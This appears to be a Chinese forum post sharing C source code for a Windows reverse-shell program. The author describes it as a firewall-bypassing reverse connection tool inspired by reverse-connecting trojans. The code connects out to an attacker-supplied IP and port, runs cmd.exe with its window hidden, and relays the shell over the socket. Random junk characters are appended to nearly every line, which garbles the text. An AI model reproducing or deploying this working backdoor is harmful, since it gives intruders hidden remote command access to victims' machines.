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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N.{jM[\F  
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/* ============================== ,#bb8+z&p  
Rebound port in Windows NT 4iv]N 4  
By wind,2006/7 #xP!!.DF(  
===============================*/ !b]2q%XM  
#include M=AvD(+ha  
#include U7"BlT!V\  
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#pragma comment(lib,"wsock32.lib") .K@x4 /1  
q#(/*AoU  
void OutputShell(); (HaKF7Jsi  
SOCKET sClient; ft/^4QcyAM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y <Znv%M  
5M Wvu,'%8  
void main(int argc,char **argv) nSxb-Ce  
{ hyOm9WU  
WSADATA stWsaData; q^N0abzgP  
int nRet; ;sChxQ=.^  
SOCKADDR_IN stSaiClient,stSaiServer; SCurO9RN  
!/nx=vg p  
if(argc != 3) M[K0t>ih  
{ ;>Ca(Y2M  
printf("Useage:\n\rRebound DestIP DestPort\n"); A }-&C  
return; \POnsM)+l  
} \|~?x#aA  
!FB \h<6  
WSAStartup(MAKEWORD(2,2),&stWsaData); %Nm @f'  
l7'{OB L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lkg"'p{  
R#/?AD&  
stSaiClient.sin_family = AF_INET; o'eI(@{F=  
stSaiClient.sin_port = htons(0); G;Wkm|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7V=MRf&xQ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F:;!) H*  
{ #H;hRl  
printf("Bind Socket Failed!\n"); W{A #]r l  
return; }(ma__Ao  
} 0F+ zG)G"  
W`N}  
stSaiServer.sin_family = AF_INET; W]O@DS zR  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wHt J_Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zlk,])9Q  
zkh hN"bX  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9fNu?dE   
{ Ak6MPuBB-  
printf("Connect Error!"); +mc [S  
return; ?Q96,T-) c  
} PEW4J{(W  
OutputShell(); xJ~ gT  
} `S\zqF<  
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void OutputShell() I7fb}j`/  
{ *#1y6^  
char szBuff[1024]; fVDDYo2\  
SECURITY_ATTRIBUTES stSecurityAttributes; 2$ |]Vj*Zs  
OSVERSIONINFO stOsversionInfo; 3I"NI.>*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *K(k Kph  
STARTUPINFO stStartupInfo; +}^|dkc  
char *szShell; W|25t)cJ8h  
PROCESS_INFORMATION stProcessInformation; ^sifEgG*d  
unsigned long lBytesRead; ;8ET!&k*>E  
?< cM^$lI>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @~k5+Z  
6 Wpxp\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WR/o @$/  
stSecurityAttributes.lpSecurityDescriptor = 0; T- |9o|~z  
stSecurityAttributes.bInheritHandle = TRUE; gB>imr#e&  
sno`=+|U]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \ ]   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4M}|/?<Br  
+VCo$o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5@`F.F>"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 38c?^  
stStartupInfo.wShowWindow = SW_HIDE; y=AsgJ  
stStartupInfo.hStdInput = hReadPipe; NunV8atn:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :n'yQ#[rn  
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GetVersionEx(&stOsversionInfo); Q2/MnM  
L[?nST18%  
switch(stOsversionInfo.dwPlatformId) Kt W6AZJ  
{ "z^(dF|  
case 1: q,B3ru.?d  
szShell = "command.com"; e>l,(ql  
break; i:o}!RZ>  
default: ZFS7{:  
szShell = "cmd.exe";  nbI= r+  
break; AGOx@;w  
} n /QfdAg  
Y1{B c<tC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D ]OD.  
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send(sClient,szMsg,77,0); . yZm^&  
while(1) QsiJ%O Q  
{ Q}kfM^i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~U6" ?  
if(lBytesRead) VeZey)Q  
{ OAv>g pw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `SV"ElRV  
send(sClient,szBuff,lBytesRead,0); c juZB Fl  
} /X4yB"J>  
else zfhTc=(/  
{ .K IVf8)"  
lBytesRead=recv(sClient,szBuff,1024,0); =/FF1jQ  
if(lBytesRead<=0) break;  gH %y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w |_GV}#_  
} \6sqyWI %  
} xXX/]x>  
zJ9v%.e  
return; s]U4B<q  
}
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